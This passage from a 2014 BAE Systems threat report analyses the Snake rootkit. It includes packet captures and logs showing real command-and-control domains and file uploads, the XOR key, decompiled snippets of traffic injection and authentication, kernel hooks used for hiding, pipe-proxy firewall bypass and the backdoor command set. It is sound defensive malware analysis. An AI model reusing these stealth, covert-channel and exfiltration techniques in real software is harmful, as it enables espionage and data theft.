data as additional scripts, CSS templates, advertising contents, analytics data, blogs, social networking data, etc.
When intercepted
with the purpose of analysis, such traffic may literally represent itself hundreds of DNS and HTTP requests made when a popular
website, such as a news website is open.
Hiding a few DNS/HTTP requests among busy network traffic allows Snake rootkit to stay unnoticed.
In order to test Snake’s communications with the C&C servers, and still being able to clearly distinguish its traffic, a small tool was
built to generate GET request to a web server running on the analysed system.
The tool was named as chrome.exe in order to trigger the malware communications.
BAE Systems Applied Intelligence: Snake Rootkit Report 2014               8
COMMAND-AND-CONTROL COMMUNICATIONS
As long as the test tool named chrome.exe did not make any requests, its memory stayed pristine.
There were no injections made
by the driver.
As soon as the tool made its first GET requests, the driver immediately injected a malicious DLL module in it, and that module
started producing the following traffic:
No.
Time           Source               Destination         Protocol Length Info
38   44.290689000   192.168.202.131      192.168.202.2       DNS   77 Standard query 0x6ad3 A winter.site11.com
41   44.292830000   192.168.202.2        192.168.202.131     DNS   93 Standard query response 0x6ad3 A 31.170.161.136
45   44.518185000   192.168.202.131      31.170.161.136      HTTP 219 GET /D/pub.txt HTTP/1.1
47   44.743999000   31.170.161.136       192.168.202.131     HTTP 474 HTTP/1.1 302 Found (text/html)
↓
84   45.990199000   192.168.202.131      31.170.161.136      HTTP     233    GET /D/1/f42cce984070b8ab1c0 HTTP/1.1
86   46.216079000   31.170.161.136       192.168.202.131     HTTP     474    HTTP/1.1 302 Found (text/html)
94   46.525887000   192.168.202.131      31.170.164.249      HTTP     217    GET /?
HTTP/1.1
101   46.939359000   192.168.202.131      192.168.202.2       DNS       82    Standard query 0x5ae5 A swim.onlinewebshop.net
102   46.940914000   192.168.202.2        192.168.202.131     DNS       98    Standard query response 0x5ae5 A 83.125.22.197
107   47.287205000   192.168.202.131      83.125.22.197       HTTP     224    GET /D/pub.txt HTTP/1.1
109   48.219805000   83.125.22.197        192.168.202.131     HTTP     330    HTTP/1.1 200 OK (text/html)
↓
118   48.813394000   192.168.202.131      192.168.202.2       DNS   82 Standard query 0x5362 A july.mypressonline.com
119   48.814837000   192.168.202.2        192.168.202.131     DNS   98 Standard query response 0x5362 A 83.125.22.197
123   49.131675000   192.168.202.131      83.125.22.197       HTTP 224 GET /D/pub.txt HTTP/1.1
125   49.780323000   83.125.22.197        192.168.202.131     HTTP 330 HTTP/1.1 200 OK (text/html)
↓
137   50.536285000   192.168.202.131      31.170.161.136      HTTP     220    GET /D/77568289 HTTP/1.1
139   50.762073000   31.170.161.136       192.168.202.131     HTTP     474    HTTP/1.1 302 Found (text/html)
147   51.101706000   192.168.202.131      31.170.164.249      HTTP     217    GET /?
HTTP/1.1
154   51.548661000   192.168.202.131      83.125.22.197       HTTP     225    GET /D/77568289 HTTP/1.1
163   52.014730000   192.168.202.131      83.125.22.197       HTTP     225    GET /D/77568289 HTTP/1.1
165   52.637958000   83.125.22.197        192.168.202.131     HTTP     679    HTTP/1.1 200 OK (text/html)    ↓
Received command
The domain names of the C&C servers it relies on are hard-coded in the body of the malware.
Some examples are given below, and
a full list of known domains is given in the Appendix D:
•	 north-area.bbsindex.com
•	 winter.site11.com
•	 swim.onlinewebshop.net
•	 july.mypressonline.com
•	 toolsthem.xp3.biz
•	 softprog.freeoda.com
•	 euassociate.6te.net
As seen in the traffic dump above, the malware first resolves the domain name of its C&C.
Next, it fetches a file /D/pub.txt, and expects the server to respond with a string “1”, acknowledging it’s active:
03:52:06 1336: Connect swim.onlinewebshop.net                    type(0)... OK
03:52:06 1336: GET /D/pub.txt
03:52:07 1336: Http status: 200
03:52:07 1336: recv 1/1
03:52:07 DownLoad 1 command(s)
Once acknowledged, it asks the server for a command, and the server returns a new command to execute:
03:52:11 1404: Connect swim.onlinewebshop.net                    type(0)... OK
03:52:11 1404: GET /D/77568289
03:52:12 1404: Http status: 200
03:52:12 1404: Command for all
03:52:12 1404: recv 346/346
03:52:12 Command Id:303149772662877808(130201837456870000)[13:42:25 05/08/2013]
BAE Systems Applied Intelligence: Snake Rootkit Report 2014        9
The command it receives from C&C above (swim.onlinewebshop.net) is encrypted.
In order to decrypt it, the malware first
applies the XOR mask to the bytes that start from offset 0x40:
1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6g
s923HL34x2f5cvd0fk6c1a0s
An identical XOR mask was also used by Agent.BTZ.
Next, it calculates and confirms a CRC32 checksum within the command, further decrypts the data by using the Number Theory
Library (NTL), and makes sure the command is destined to the current host by matching the ID field in it.
0    1    2    3    4    5    6    7    8     9    A    B    C    D    E    F    0123456789ABCDEF
00000000    74   E4   7E   F4   9E   8E   D8   65   B3    06   EB   B3   08   EA   3E   84   t.~....e......>.
00000010    D5   A1   D2   ED   5D   0C   89   91   65    DE   4E   B6   0C   E2   2C   39   ....]...e.N...,9
00000020    A9   8A   3D   B9   0B   C0   E6   12   E9    F9   81   0A   CF   C3   D9   0C   ..=.............
00000030    5A   6A   15   B4   00   00   00   00   01    00   00   00   00   00   00   00   Zj..............
00000040    31   64   4D   33   75   75   34   6A   37    46   77   34   73   6A   6E   62   1dM3uu4j7Fw4sjnb
00000050    13   3D   D4   DA   90   F4   BA   35   1C    36   4A   79   69   96   B1   D4   .=.....5.6Jyi...
00000060    D8   F1   07   6F   7B   CC   C4   68   9D    B7   86   3E   4B   6F   BA   FB   ...o{..h...>Ko..
00000070    6E   AB   7B   29   32   FD   7C   75   B9    DF   7F   C0   0C   81   2D   14   n.{)2.|u......-.
00000080    23   F9   A4   DF   D3   F1   18   97   4D    CD   71   D0   52   D6   A2   E9   #.......M.q.R...
00000090    FF   58   30   3D   A8   8A   DD   4D   3F    DB   AE   9A   F5   07   3B   21   .X0=...M?.....
;!
000000A0    67   5A   34   22   AD   60   CB   DD   A4    E2   B5   77   A1   6A   4C   2E   gZ4”.`.....w.jL.
000000B0    C8   75   91   01   CA   5B   B3   28   3E    55   C8   68   B2   2C   40   E4   .u...[.
(>U.h.,@.
000000C0    02   A9   64   8B   80   BD   0E   AB   58    25   00   40   6E   AB   DD   5B   ..d.....X%.@n..
[
000000D0    D1   0A   32   AE   4A   E2   60   79   BE    47   10   AE   73   35   4C   65   ..2.J.`y.G..s5Le
000000E0    06   3C   AA   D8   F0   49   52   DB   22    A5   0D   7B   2B   4D   8A   D1   .<...IR.”..{+M..
000000F0    21   5C   62   11   E6   13   E2   CA   AF    A5   4F   5A   9E   1C   AF   AE   !\b.......OZ....
00000100    C4   1C   36   4D   A0   E4   72   3A   CD    07   A3   01   AE   E6   0A   84   ..6M..r:........
00000110    D4   8B   03   FB   0D   68   19   FD   86    71   8E   FD   FC   2D   C3   5C   .....h...q...-.\
00000120    49   A4   E3   40   9B   77   16   BA   86    4A   DD   0D   15   7D   B1   BD   I..@.w...J...}..
00000130    A9   54   C3   F6   E4   05   72   B1   E6    B7   A5   A7   31   CE   29   8B   .T....r.....1.
).
00000140    EF   95   58   2A   2E   48   0E   7A   BD    B8   B7   CE   48   32   E2   48   ..X*.H.z....H2.H
00000150    2E   E2   94   65   F0   19   FC   F5   ED    1B                                 ...e......
↓ Traffic is decrypted
0    1    2    3    4    5    6    7    8     9    A    B    C    D    E    F    0123456789ABCDEF
00000000    49   44   33   30   33   31   34   39   37    37   32   36   36   30   38   34   ID30314977266084
00000010    37   38   30   38   23   30   36   20   26    6D   61   72   6B   65   74   70   7808#06 &marketp
00000020    6C   61   63   65   2E   73   65   72   76    65   68   74   74   70   2E   63   lace.servehttp.c
00000030    6F   6D   26   2F   55   50   44   41   54    45   2F   26   63   65   72   74   om&/UPDATE/&cert
00000040    31   30   32   34   26   55   6E   37   37    6B   6F   23   73   26   26   26   1024&Un77ko#s&&&
00000050    0A                                                                               .
Once decrypted, the malware interprets the received command, as reflected in the malware log below (the new C&C server address
is highlighted in it):
03:52:12 Del after 0
03:52:12 Run instruction: 6 ID:303149772147483647(13:41:34 05/08/2013)
03:52:12 Add address &marketplace.servehttp.com&/UPDATE/&cert1024&Un77ko#s&&&
03:52:12 Finish run instruction.
After that, the malware connects to the new C&C, asking it for another command:
03:52:13 1400: Connect marketplace.servehttp.com                              type(0)... OK
03:52:13 1400: GET /IMAGE/pub.html
03:52:15 1400: Http status: 200
03:52:16 1400: recv 1/1
03:52:16 DownLoad 1 command(s).
BAE Systems Applied Intelligence: Snake Rootkit Report 2014   10
The command it receives is called UpLoad, so it uploads all the collected logs to the server, and then cleans out those logs:
03:52:16 UpLoad: http upload 4 file(s).
03:52:17 652: Connect marketplace.servehttp.com                       type(0)... OK
03:52:17 652: GET test file /IMAGE/pub.html
03:52:17 652: POST /IMAGE/2/55198739672286404661840843638320033
03:52:18 652: C:\WINDOWS\$NtUninstallQ812589$\gstat32.bin 310[B]
03:52:19 652: Http Status:200
03:52:19 652: POST /IMAGE/2/32773318678423920155243775957661252
03:52:19 652: result.xml 1278[B]
03:52:20 652: Http Status:200
03:52:21 652: POST /IMAGE/2/41535327538451061594793127961089611
03:52:21 652: C:\WINDOWS\$NtUninstallQ812589$\mtmon32.sdb 655[B]
03:52:22 652: Http Status:200
03:52:22 652: POST /IMAGE/2/35192812459183876172895945534862460
03:52:22 652: C:\WINDOWS\$NtUninstallQ812589$\mtmon.sdb 748[B]
03:52:23 652: Http Status:200
The files it uploads are stored inside its home directory %windows%\$NtUninstallQ[random]$,
where [random] is a random number.
For example, Snake’s home directory could be C:\WINDOWS\$NtUninstallQ812589$.
The files within that directory are used by the rootkit to store configuration and log data.
When decrypted with the same XOR key that was used by Agent.BTZ, these files expose the following contents:
•	 mtmon.sdb - C&C communication log that looks as the logs shown above.
•	 mtmon_.sdb - installation log, that shows infected processes (Internet Explorer), the random name of the dropped DLL
(e.g.
kbdfaori.dll), log directory, and the registry entry ShellCore that stores other configuration details:
03:52:02 TVer=1.2
03:52:02 Parent:C:\Program Files\Internet Explorer\IEXPLORE.EXE
03:52:02 ver 3.2.0.0a inj             dll K:0      PID:712,
C:\WINDOWS\system32\kbdfaori.dll,
hostID:ea5cfa5ea1681bd6(16887647987074341846)
03:52:02 C:\WINDOWS\$NtUninstallQ812589$,
Temp:C:\WINDOWS\$NtUninstallQ812589$\SPUNINST\Temp
03:52:02 REG:Software\Microsoft\Windows\CurrentVersion\ShellCore
03:52:02 ModuleStart: 03:51:42
•	 scmp.bin - pipe server log that shows its assigned name (COMPUTERNAME is the name of the test system) and
what processes it operates from:
02:04:24 TVer=1.6
02:04:24 SPCOMPUTERNAME: Pipe server thread start
02:04:24 Inj[1620]:explorer.exe
03:51:42 Inj[712]:iexplore.exe
•	 ucmp.bin - another pipe server log:
02:04:44 TVer=1.6
02:04:44 UPCOMPUTERNAME: Pipe server thread start
BAE Systems Applied Intelligence: Snake Rootkit Report 2014    11
INTER-PROCESS COMMUNICATIONS
Analysis of the sample reveals that it supports 3 modes of fetching C&C commands.
•	   In the first mode, it relies on Windows Internet (WinINet) APIs, such as HttpOpenRequest(), HttpSendRequest(),
InternetReadFile(), etc.
•	   In the second mode, it uses Windows Sockets 2 (Winsock) APIs, such as WSAStartup(), socket(), connect(),
send(), etc.
•	   In the third mode, it works in the ‘pipe server’ mode, when it passes the web requests it is interested in (as a client) to the
pipe server that runs within Windows Explorer (explorer.exe) and/or Internet Explorer (iexplore.exe) processes.
Memory pipes is a common mechanism for Inter-Process Communications (IPC).
When the pipe server reads such requests from the
pipes, it performs the web request on behalf of a client by using WinINet APIs, so it effectively serves as a proxy.
The diagram below demonstrates the last, ‘pipe server’ mode of Snake operation:
Injected Snake DLL               System Process
(e.g.
services.exe)
Snake DLL                    Internet
3                 in ‘pipe server’
mode
4
3
Legitimate Process
Injected Snake DLL
(e.g.
a browser)
User Mode
2
1
Kernel Mode
Legitimate Process
(e.g.
a browser)
2
Embedded
Snake’s Kernel Mode                                          DLL Module
Driver, with the DLL
module embedded in it
The diagram illustrates the operation steps 1-4:
1     First, the malicious driver with the embedded DLL module injects that DLL into a system process,
such as services.exe; once loaded, the DLL will function in the ‘pipe server’ mode.
As soon as the driver detects a usermode process that goes online (e.g.
a browser), it will inject malicious DLL module
2     into it; depending on the operational mode, the DLL may start communicating with C&C directly.
In the ‘pipe mode’ of operation, the injected DLL will start communicating with the pipe server by sending messages into
3     the established inter-process communication pipes.
Once the task of communication with C&C is delegated to the pipe server, it will start communicating with the C&C,
4
bypassing the host-based firewalls that keep an infected system process in a white-list.
BAE Systems Applied Intelligence: Snake Rootkit Report 2014         12
The reason behind the pipes usage is to ‘legitimise’ the outbound web requests, forcing them to originate from the host firewall-
friendly system services.
Pipe server is a special mode of the injected DLL.
In order to switch into that mode, a dedicated thread is spawned to listen for IPC
messages received through the pipes.
The memory pipes used by Snake are named as:
•	 \\.\Pipe\SP[COMPUTERNAME]
•	 \\.\Pipe\UP[COMPUTERNAME]
where [COMPUTERNAME] is the name of the host computer.
Apart from GET/POST requests, the pipe clients (infected usermode processes) may also ask the pipe server to perform other
operations on their behalf, such as saving data into a temporary file, copy/delete files, save configuration data into the registry
under the aforementioned ShellCore value.
This delegation of tasks is designed to keep infected processes under the radar of the behavioural analysis tools for as long as
possible.
Another reason is to overcome account restrictions imposed on a browser process in order to be able to write into files/
registry.
To delegate different types of tasks, the clients send messages to the pipe server using the following task identification headers:
•	   DATA
•	   CREATE
•	   CMD
•	   POST
•	   GET
•	   DEL
•	   REGISTR
•	   COPY
The usermode component of Snake communicates with its kernel-mode driver via a device called \\.\vstor32 (created under
kernel as \Device\vstor32).
In its communication protocol with the driver it uses the IOCTL code of 0x222038.
To write data, it opens the device with CreateFile(“\\.\vstor32”), then calls DeviceIoControl() API on its handle with
IOCTL code of 0x222038.
Configuration parameters along with the initial set of domain names are hard-coded within the body of the DLL.
However, the data
appears to be defined in the structures, so it is very likely the DLL could be generated by a stand-alone builder that ‘patches’ the
DLL with the new/updated list of C&C.
Analysis of the commands performed by the malware suggests the following capabilities:
•	   Scan the network for the presence of other hosts (maximum 1 hour is allocated for this task)
•	   Set maximum upload file size
•	   Go ‘stealth’ mode for the specified number of days - Snake will not initiate any connections during that time
•	   Run specified shell commands and collect the output logs for further delivery
•	   Modify settings stored with the registry key HKLM\Software\Microsoft\Windows\CurrentVersion\ShellCore
•	   Search for files
•	   Upload specified files
•	   Add new C&C domains
•	   Update the driver with a new version
•	   Download files
•	   Run specified executable files
•	   Set self-deactivation timeout
•	   If the virtual partition \\.\vd1 exists, copy all Snake logs into that partition
Together, these commands provide complete backdoor functionality, allowing remote attacker full control over the compromised
system.
The ability to update the driver and then rely on its communication capabilities means that the components of Snake are flexible,
making possible the existence of the hybrid (kernel-centric and usermode-centric) architectures.
For example, the virtual partitions are used by kernel-centric Snake variants, where the kernel-mode driver is responsible for the
communications.
If such a driver is installed via an update, the usermode component can be instructed to delegate the file upload
task to the driver by copying all the necessary logs into the shared virtual partition, physically located on the compromised host and
thus, accessible from kernel.
BAE Systems Applied Intelligence: Snake Rootkit Report 2014           13
KERNEL-CENTRIC ARCHITECTURE
This particular architecture relies on a kernel-mode driver to carry out the network communications.
The usermode DLLs are still
injected into the system processes to perform high-level tasks.
The delivery mechanism is not known: it may be distributed via a thumb-drive, a phishing email attachment, or be delivered via an
exploit across the network (e.g.
by using the reconnaissance tool that is explained later).
Infection starts from a dropper penetrating into the compromised system where it is allowed to run.
Once executed, the dropper
installs the kernel mode driver in a pre-defined location.
The dropper itself is 32-bit, so it will run both on 32-bit and 64-bit Windows
OS (in WoW64 mode).
On a 32-bit OS, it will install a 32-bit driver.
On a 64-bit OS, it will install a 64-bit driver.
The analysed 32-bit dropper creates a driver in the following location:
%windows%\$NtUninstallQ817473$\fdisk.sys
However, different samples may use a different path and driver file name.
For example, some samples exposed these filenames:
fdisk_32.sys, A0009547.sys, or Ultra3.sys.
The filename of the dropper could be rkng_inst.exe or fdisk_mon.exe.
REGISTRATION
Once executed, the driver first makes sure it is registered under a pre-defined name, such as Ultra3.
Other samples may have a different registration name, such as ~ROOT.
The registration is ensured with creation of the following
registry entries:
ErrorControl = 0
Group = “Streams Drivers”
ImagePath = %windows%\$NtUninstallQ817473$\fdisk.sys
Start = 1 [SYSTEM]
Type = 1
in the newly created registry key
HKEY_LOCAL_MACHINE\System\CurrentControlSer\Services\Ultra3
The driver then flags the following events with the notification purposes:
\BaseNamedObjects\{B93DFED5-9A3B-459b-A617-59FD9FAD693E}
\BaseNamedObjects\shell.
{F21EDC09-85D3-4eb9-915F-1AFA2FF28153}
The rootkit then places a number of the hooks.
SYSTEM HOOKS
The first API it hooks is IoCreateDevice().
The installed hook handler calls the original API and then checks if the name of the
device is netbt or afd.
If so, it will install a TDI filter driver.
If the device name is Null, Beep, tcpip or Nsiproxy, it will activate
itself by enabling its hooks designed to hide the presence of Snake on a system, set up its access control lists and the messaging
system.
In order to hide its components, the driver hooks the following APIs:
•	 ZwQueryKey
•	 ZwEnumerateKey
•	 ZwCreateKey
•	 ZwSaveKey
•	 ZwReadFile
•	 ZwQuerySystemInformation
•	 ZwQueryInformationProcess
•	 ZwClose
•	 ZwTerminateProcess
•	 ZwShutdownSystem
•	 ObOpenObjectByName
BAE Systems Applied Intelligence: Snake Rootkit Report 2014           14
For example, the hook handlers of the registry-related APIs will block access to the registry entries that contain the name of the
driver.
In one example, the rootkit blocks access to registry entries that contain the strings “Ultra3” and “~ROOT”.
The ZwReadFile() hook handler will block access to the home directory where the rootkit keeps its file.
In one of the analysed
kernel-centric Snake samples the home directory was hard-coded as %windows%\$NtUninstallQ817473$, so it blocked file
read access from that directory.
The ZwClose() hook handler is used to inject the DLL module into the userland processes.
The hook handler for ZwTerminateProcess() checks if the process being shut down is svchost.exe.
If so, it considers
it to be a system shutdown, so it unloads its usermode DLL and deactivates its own network drivers, just like it does when its
ZwShutdownSystem() hook handler gets invoked.
The ObOpenObjectByName() hook is designed to hide the presence of its virtual partitions (described later).
To encrypt data stored on its virtual partitions, the driver sets a hook for another API:
IofCallDriver()
To re-infect the usermode process svchost.exe and to re-enable its network drivers, the rootkit hooks these APIs:
•	 ZwCreateThread
•	 ZwCreateUserProcess
WFP CALLOUT DRIVER
Snake then proceeds to the task of deep packet inspection and modification.
In order to accomplish it, it registers a callout driver for Windows Filtering Platform (WFP), an architecture first introduced with
Windows Vista and nowadays normally used by antivirus and/or intrusion detection systems to inspect/block malicious traffic.
Snake sets filters at the layers FWPM_LAYER_STREAM_V4 and FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4 in the TCP/
IP stack, so that its callout driver is notified whenever a TCP connection is established by a browser.
When that happens, the
rootkit triggers an event named \BaseNamedObjects\wininet_activate.
When the data arrives, it is intercepted with the
FwpsCopyStreamDataToBuffer0() API, and then scanned for the presence of the hidden commands from C&C.
The driver inspects bidirectional network data on a per stream basis, as it’s located right on the stream data path.
An ability to
manipulate data streams is provided with the packet injection logic below, allowing Snake to covertly insert traffic destined to its
C&C servers:
01    int __stdcall stream_inject(int flowHandle, int calloutId, int layerId)
02    {
03        int iRet = 0;
04        int ntStatus = FwpsAllocateNetBufferAndNetBufferList(m_hNdisNblPool, 0, 0, 0, 0, &iRet);
05        if (!ntStatus)
06        {
07            ntStatus = _FwpsStreamInjectAsync(m_hInjection,
08                                               0,
09                                               0,
10                                               flowHandle,
11                                               calloutId,
12                                               layerId,
13                                               20,
14                                               3,
15                                               iRet,
16                                               0,
17                                               sStreamInjectCompletion,
18                                               0);
19        if (!ntStatus)
20        {
21            iRet = 0;
22        }
23        if (iRet)
24        {
25           FwpsFreeNetBufferList(iRet);
26        }
27        return ntStatus;
28    }
BAE Systems Applied Intelligence: Snake Rootkit Report 2014           15
In order to qualify as a browser, the usermode process must have any of the following names:
01    bool isBrowserProcess(const wchar_t *szProcName)
02    {
03        return !wcsicmp(szProcName, L”iexplore.exe”) ||
04               !wcsicmp(szProcName, L”firefox.exe”) ||
05               !wcsicmp(szProcName, L”opera.exe”) ||
06               !wcsicmp(szProcName, L”netscape.exe”) ||
07               !wcsicmp(szProcName, L”mozilla.exe”) ||
08               !wcsicmp(szProcName, L”chrome.exe”);
09    }
TDI FILTER DRIVER
In addition to WFP, Snake also hooks the Transport Driver Interface (TDI) network routines by setting itself up as a TDI filter driver.
TDI is considered deprecated and will be removed in future versions of Microsoft Windows, but it’s still supported on Windows 7.
Being registered as a TDI driver on the device stack, Snake hooks TCP calls.
This way it intercepts all requests along with their
parameters via IRP (IO request package) hooks.
By ‘sniffing’ all the requests, it can now inspect the traffic, looking for and then parsing GET/POST HTTP requests and also SMTP
communications, in order to distinguish commands addressed to itself.
If the rootkit detects that the OS version is pre-Vista (e.g.
Windows XP) or Windows Server 2008 (e.g.
Windows Server 2003), it will
invoke FwpsStreamInjectAsync0() API in order to generate outbound requests.
Whenever the client establishes connections, the TDI driver will also ‘pulse’ the \BaseNamedObjects\wininet_activate
event, just like the WPF driver’s component of it, in order to notify the userland service about the event.
The data that the driver intercepts, along with the important notifications, is passed to the userland DLL to be processed.
If the
data contains commands from C&C, the DLL module is expected to execute them and report results back to the driver to be
delivered back to C&C.
NDIS HOOKING
For NDIS versions 5.X, Snake rootkit contains code that installs NDIS filter intermediate driver.
This driver is set up above a miniport driver (a driver that communicates with the physical device) and below a protocol driver (a
driver that implements a protocol, e.g.
TCP/IP).
The driver is registered with NdisIMRegisterLayeredMiniport() API.
After that, the drivers hooks the following exports within ndis.sys:
•	 NdisIMRegisterLayeredMiniport
•	 NdisTerminateWrapper
The rootkit contains code that installs NDIS filter driver for NDIS 6.0 and above:
Unique name: {c06b1a3b-3d16-4181-8c8d-7015bfc5b972}
User-readable description: filter_c06b1a3b
NDIS filter driver configuration is stored in the registry entry:
HKLM\SYSTEM\CurrentControlSet\Control\Network\{4d36e974-e325-11ce-bfc1-08002be10318}
The driver is registered with NdisFRegisterFilterDriver() API.
BAE Systems Applied Intelligence: Snake Rootkit Report 2014           16
After that, the drivers hooks the following exports within ndis.sys (for NDIS 6.0):
•	 NdisFRegisterFilterDriver
•	 NdisFDeregisterFilterDriver
•	 NdisSetOptionalHandlers
•	 NdisFSetAttributes
Another set of exports it attempts to hook in ndis.sys (for NDIS 6.0) is:
•	 NdisMRegisterMiniportDriver
•	 NdisMDeregisterMiniportDriver
•	 NdisMIndicateReceiveNetBufferLists
•	 NdisMRestartComplete
•	 NdisMPauseComplete
With the hooks installed, whenever the network adapter driver attempts to register to NDIS, or whenever there is an attempt to
install NDIS intermediate driver or NDIS filter driver, the hook handlers will register Snake’s own MiniportXxx functions with the NDIS
library.
With its own miniport handler functions, it can send/receive data by using a private TCP/IP stack, bypassing all firewall hooks, and
making its open ports invisible to scanners.
NDIS PROTOCOL DRIVER
The Snake rootkit registers itself as Network Driver Interface Specification (NDIS) protocol driver.
Intercepting Network Data                                              Whenever the underlying miniport driver
receives data from the network, it calls NDIS
by invoking a data receive indication function
NdisMIndicateReceiveNetBufferLists()
NdisMIndicateReceiveNetBufferLists().
NDIS Protocol                                        Miniport
NDIS                                     When that happens, NDIS invokes Snake’s hook function
Driver                                             Driver
(ProtocolReceiveNetBufferLists) to process the
ProtocolReceiveNetBufferLists()                                     received data.
Sending Network Data                                                   To send the data back, the protocol driver defines the data
in a list of NET_BUFFER_LIST structures, and then passes
MiniportSendNetBufferLists()
them to NDIS by calling NdisSendNetBufferLists().
NDIS Protocol                                       Miniport
NDIS                                     NDIS, in turn, calls the miniport driver’s
Driver                                            Driver
MiniportSendNetBufferLists() function to forward
NdisSendNetBufferLists()                                        the data to an underlying miniport driver.
Being able to fully manipulate traffic at 3 different levels (NDIS protocol driver, TDI Driver, and WPF callout driver), Snake is able to
‘inject’ the traffic into existing communications to reach out to external components, and at the same time parse all incoming traffic
to detect traffic addressed to itself:
Infected User        Injected
Traffic Interception                                 Application        Module
0xDEADBEAF/0xC001BA5E
Checks
WFP           TDI          NDIS
Internet                                                                                        Memory
pipes
Traffic
Injection
Snake’s Kernel Mode Driver
BAE Systems Applied Intelligence: Snake Rootkit Report 2014           17
DEAD BEEF ON A COOL BASE
As the driver intercepts all connections (e.g.
on TDI_RECEIVE TDI event or ClientEventReceive() event notification triggered
through its TDI Filter Driver), it parses all incoming HTTP and SMTP traffic to see if it can be authenticated as Snake traffic.
The authentication is implemented by decrypting the data and making sure it starts with the markers 0xDEADBEAF and
0xC001BA5E (which appear to derive from ‘DEAD BEEF’ and ‘COOL BASE’).
Here are specific steps:
•	   The data it accepts should start from a 10 byte signature with the following rules:
•	     the first 8 bytes must all be ASCII characters, the parser calculates their total sum (sum):
01         for (int i = 0; i < 8; i++)
02         {
03         	      if (*(BYTE *)ptrBuffer <= 32 ||
04         	          *(BYTE *)ptrBuffer >= 128)
05         	{
06         		return 0;                                           // if not ASCII, quit
07         	}
08         	      sum += *(BYTE *)ptrBuffer;                    // add to sum
09         	      ++ptrBuffer;                                  // advance buffer pointer
10         }
•	     9th byte must be equal to sum / 26 + 65
•	     10th byte must be equal to 122 - sum % 26
01         if ((*(BYTE *)ptrBuffer != sum / 26 + 65) ||
02             (*(BYTE *)(ptrBuffer + 1) != 122 - sum % 26))
03         {
04                result = 0;
05         }
•	    Starting from the 11th byte, the data must be base64-encoded; the parser decodes that data
01          base_64_decode(abyBuffer + 10,
02                         &ptrDecoded,
03                         iMaxLength - 10);
•	   Once decoded, the decrypted data should contain the aforementioned markers:
.text:F6751426              lea          eax, [ebp+dwMarker]                            ; return marker here
.text:F6751429              push         eax
.text:F675142A              mov          ecx, [ebp+buf_len]                             ; traffic’s buffer length
.text:F675142D              push         ecx
.text:F675142E              mov          edx, [ebp+abyBuffer]                           ; traffic’s buffer pointer
.text:F6751431              push         edx
.text:F6751432              call         decrypt_traffic                                ; decrypt traffic first
.text:F6751437              test         eax, eax
.text:F6751439              jz           short exit                                     ;   if failed, exit
.text:F675143B              mov          eax, [ebp+dwMarker]                            ;   check the returned marker
.text:F675143E              cmp          eax, _DEADBEAF                                 ;   _DEADBEAF dd 0DEADBEAFh
.text:F6751444              jnz          short exit                                     ;   if not 0xDEADBEAF, exit
.text:F6751446              cmp          [ebp+dwNextDword], 0C001BA5Eh                  ;   check next DWORD
.text:F675144D              jnz          short next                                     ;   if not 0xC001BA5E, exit
•	    When the traffic is authenticated, its contents is then parsed by using “GET”, “POST”, “http://”, “HTTP/”,
“Content-Length”, “Connection”, “close” tags, in order to retrieve HTTP requests
•	    SMTP traffic is also parsed, only by using “MAIL “, “RCPT “ tags in order to retrieve SMTP characteristics
BAE Systems Applied Intelligence: Snake Rootkit Report 2014   18
By observing such behaviour, one might wonder why the driver is expecting HTTP or SMTP clients?
Why does it act like HTTP/SMTP
server processing client traffic, and serving back normal responses as per the protocol?
For example, in HTTP the driver will respond with messages like “HTTP/1.1 200 OK” or “HTTP/1.1 500 Server Error”.
For SMTP traffic, it communicates back normal SMTP server responses, such as “250 Sender OK”, “503 Bad sequence of
commands”, etc.
The reason behind such behaviour is that the driver is acting in this mode like a proxy, routing requests from other infected hosts to
a remote C&C server.
Another opportunity this mode unlocks is a peer-to-peer network mode with no centralised C&C.
The infected hosts are capable
of transferring the following peer-2-peer commands defining fragment size, reliability parameters, new peer information, peer
impersonation flags, etc.
:
•	 frag_size
•	 frag_no_scrambling
•	 peer_frag_size
•	 read_peer_nfo
•	 write_peer_nfo
•	 imp_level
•	 reliable_n_tries
•	 reliable_keepalive
•	 reliable_rtt
•	 reliable_padding
•	 reliable_no_keepalive
•	 m2b_raw
•	 psk
•	 key
Once the incoming data is authenticated and decrypted, the driver passes it to the DLL by using memory pipes.
For example, on HTTP traffic arrival it may send traffic data into a memory pipe \Device\NamedPipe\isapi_http, and then,
send a received peer-2-peer command message write_peer_nfo=[IP_ADDRESS:PORT]0frag_no_scrambling=Y0 into
another memory pipe called \Device\NamedPipe\isapi_dg.
In order to log its activity, the driver writes log data into the pipe \Device\NamedPipe\isapi_log, so that the DLL could log the
data into the log files.
Full list of the named pipes used for communications is provided below:
•	 \Device\NamedPipe\isapi_http
•	 \Device\NamedPipe\isapi_log
•	 \Device\NamedPipe\isapi_dg
•	 \Device\NamedPipe\services_control
Messages submitted into the pipes are wrapped into the structures.
The structures appear to contain headers to allow the pipe
server, that runs within an infected userland module, to identify the messages first and then unwrap the structures accordingly.
For example, the message headers could be:
•	 domc.np
•	 frag.np
Once received from the pipes and unwrapped/decoded, the data is then handled by the usermode DLL as per the data intention -
whether it’s a traffic sniffing task, a peer-2-peer client logic, a logging task, or a task of saving received files into the virtual volumes.
BAE Systems Applied Intelligence: Snake Rootkit Report 2014             19
VIRTUAL FILE VOLUMES
The driver creates virtual file volumes for encrypted storage of its files and configuration data:
•	 \\.\Hd1
•	 \\.\Hd2
The volumes are mounted from the virtual file systems RawDisk1 and RawDisk2.
The first partition is created with the following steps:
•	   the driver creates a 100Mb (0x6400000 bytes) file %windows%\$NtUninstallQ817473$\hotfix.dat by calling
IoCreateFile() API
•	   then it creates a section object with the flags SEC_COMMIT and SEC_NOCACHE (0x18000000) by calling
ZwCreateSection(); the flags mean the file is mapped into memory, the entire range of pages will be committed
•	   next, it maps a view of the created section into the virtual address space by calling ZwMapViewOfSection()
•	   finally, it creates device \Device\RawDisk1 from the section map and mounts it as \\.\Hd1
The hook installed by the rootkit on IofCallDriver() API provides on-the-fly data encryption/decryption whenever that data is
written to or read from the volume.
The encryption algorithm is based on CAST-128, with the hard-coded key stored in the rootkit
body.
As a result, whenever the data is saved into the volume Hd1, it will be scrambled on-the-fly, and reflected in the persistent storage
file hotfix.dat, which is physically located within the rootkit’s ‘home’ directory:
Z:\WINDOWS\$NtuninstallQ817473$>dir
Volume in drive Z has no label.
Volume Serial Number is 2479-98AC
Directory of Z:\WINDOWS\$NtuninstallQ817473$
13/02/2014        04:47 PM         <DIR>                 .
13/02/2014        04:47 PM         <DIR>                 ..
